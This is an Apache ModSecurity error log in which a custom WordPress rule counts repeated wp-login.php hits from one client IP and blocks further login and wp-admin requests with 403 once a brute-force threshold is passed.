[Sat Feb 28 01:50:28.083925 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZZL_i6nvKNhjFW7VaqgAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:29.380220 2026] [:error] [pid 38586:tid 38612] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZZb_i6nvKNhjFW7VarAAAARc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:32.149841 2026] [:error] [pid 38586:tid 38606] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZaL_i6nvKNhjFW7VaxAAAARE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:33.465436 2026] [:error] [pid 38586:tid 38609] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZab_i6nvKNhjFW7VazAAAARQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:33.465507 2026] [:error] [pid 38586:tid 38609] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZab_i6nvKNhjFW7VazAAAARQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:36.184512 2026] [:error] [pid 15240:tid 15257] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZbC1iKL_41Rk9A9OIkgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:37.566673 2026] [:error] [pid 15240:tid 15262] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZbS1iKL_41Rk9A9OImgAAABQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:40.515403 2026] [:error] [pid 15240:tid 15247] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZcC1iKL_41Rk9A9OIswAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:41.842630 2026] [:error] [pid 15240:tid 15242] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZcS1iKL_41Rk9A9OItwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:44.661706 2026] [:error] [pid 15240:tid 15253] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZdC1iKL_41Rk9A9OIxAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:45.962895 2026] [:error] [pid 15240:tid 15262] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZdS1iKL_41Rk9A9OIygAAABQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:48.679198 2026] [:error] [pid 15240:tid 15257] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZeC1iKL_41Rk9A9OI0gAAAA8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:49.990308 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZeS1iKL_41Rk9A9OI0wAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:49.990385 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZeS1iKL_41Rk9A9OI0wAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:52.631076 2026] [:error] [pid 15100:tid 15178] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZfEOEbzcINan_ctLOrgAAAFI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:53.920569 2026] [:error] [pid 15100:tid 15174] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZfUOEbzcINan_ctLOsgAAAE4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:56.651809 2026] [:error] [pid 15100:tid 15166] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZgEOEbzcINan_ctLOtAAAAEY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:57.943490 2026] [:error] [pid 15100:tid 15168] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZgUOEbzcINan_ctLOtgAAAEg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:50:59.471776 2026] [:error] [pid 15100:tid 15177] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHZg0OEbzcINan_ctLOuAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:00.742900 2026] [:error] [pid 38620:tid 38644] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZhAP6I7SRqrhh7Roo4AAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:02.019930 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:52408] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZhgP6I7SRqrhh7Roo8gAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:03.279745 2026] [:error] [pid 38620:tid 38625] [client 5.189.134.86:52411] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZhwP6I7SRqrhh7Roo-wAAAUM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:04.537070 2026] [:error] [pid 38620:tid 38632] [client 5.189.134.86:54171] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZiAP6I7SRqrhh7RopBwAAAUo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:05.883545 2026] [:error] [pid 38620:tid 38631] [client 5.189.134.86:54171] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHZiQP6I7SRqrhh7RopFwAAAUk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:07.137453 2026] [:error] [pid 38586:tid 38602] [client 5.189.134.86:54171] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZi7_i6nvKNhjFW7VbcwAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:08.397967 2026] [:error] [pid 38586:tid 38598] [client 5.189.134.86:54173] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZjL_i6nvKNhjFW7VbewAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:09.733042 2026] [:error] [pid 15240:tid 15252] [client 5.189.134.86:60286] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZjS1iKL_41Rk9A9OI-wAAAAo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:11.090539 2026] [:error] [pid 15098:tid 15127] [client 5.189.134.86:62332] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZj8kFqny8dQQbmTktDQAAAJU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:14.086704 2026] [:error] [pid 15098:tid 15113] [client 5.189.134.86:62332] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZkskFqny8dQQbmTktFQAAAIc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:15.440892 2026] [:error] [pid 15098:tid 15126] [client 5.189.134.86:62332] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZk8kFqny8dQQbmTktFgAAAJQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:18.274437 2026] [:error] [pid 15098:tid 15124] [client 5.189.134.86:62332] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZlskFqny8dQQbmTktGAAAAJI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:18.274529 2026] [:error] [pid 15098:tid 15124] [client 5.189.134.86:62332] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZlskFqny8dQQbmTktGAAAAJI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:19.522051 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:57712] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZlwP6I7SRqrhh7RopRQAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:20.879651 2026] [:error] [pid 15099:tid 15142] [client 5.189.134.86:60202] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZmOnvP2vtPjYDq_g_MgAAAMk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:22.140225 2026] [:error] [pid 38620:tid 38628] [client 5.189.134.86:56989] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZmgP6I7SRqrhh7RopTgAAAUY"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:23.401764 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZmy1iKL_41Rk9A9OJIAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:23.401843 2026] [:error] [pid 15240:tid 15244] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZmy1iKL_41Rk9A9OJIAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:26.188224 2026] [:error] [pid 15240:tid 15265] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZni1iKL_41Rk9A9OJKgAAABc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:27.538556 2026] [:error] [pid 15240:tid 15261] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZny1iKL_41Rk9A9OJLgAAABM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:30.289861 2026] [:error] [pid 15240:tid 15257] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZoi1iKL_41Rk9A9OJNgAAAA8"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:31.566642 2026] [:error] [pid 15240:tid 15265] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZoy1iKL_41Rk9A9OJOgAAABc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:32.891084 2026] [:error] [pid 15240:tid 15247] [client 5.189.134.86:56994] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaHZpC1iKL_41Rk9A9OJQQAAAAU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:34.016155 2026] [:error] [pid 38620:tid 38643] [client 5.189.134.86:56999] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaHZpgP6I7SRqrhh7RopbgAAAVU"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:35.123982 2026] [:error] [pid 15100:tid 15176] [client 5.189.134.86:58118] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaHZp0OEbzcINan_ctLO2AAAAFA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:36.316970 2026] [:error] [pid 15240:tid 15251] [client 5.189.134.86:58118] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaHZqC1iKL_41Rk9A9OJTAAAAAk"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:37.661575 2026] [:error] [pid 15240:tid 15249] [client 5.189.134.86:60541] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZqS1iKL_41Rk9A9OJUgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:37.661667 2026] [:error] [pid 15240:tid 15249] [client 5.189.134.86:60541] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZqS1iKL_41Rk9A9OJUgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:40.508955 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZrAP6I7SRqrhh7RopigAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:41.822725 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZrQP6I7SRqrhh7RopkAAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:44.552505 2026] [:error] [pid 38620:tid 38642] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZsAP6I7SRqrhh7RoplQAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:45.849481 2026] [:error] [pid 38620:tid 38623] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZsQP6I7SRqrhh7RoplwAAAUE"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:48.517991 2026] [:error] [pid 38620:tid 38626] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZtAP6I7SRqrhh7RopmQAAAUQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:49.818774 2026] [:error] [pid 38620:tid 38640] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZtQP6I7SRqrhh7RopmgAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 01:51:52.534913 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:51393] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHZuAP6I7SRqrhh7RopogAAAU4"], referer: https://gigfragments.org/wp-login.php
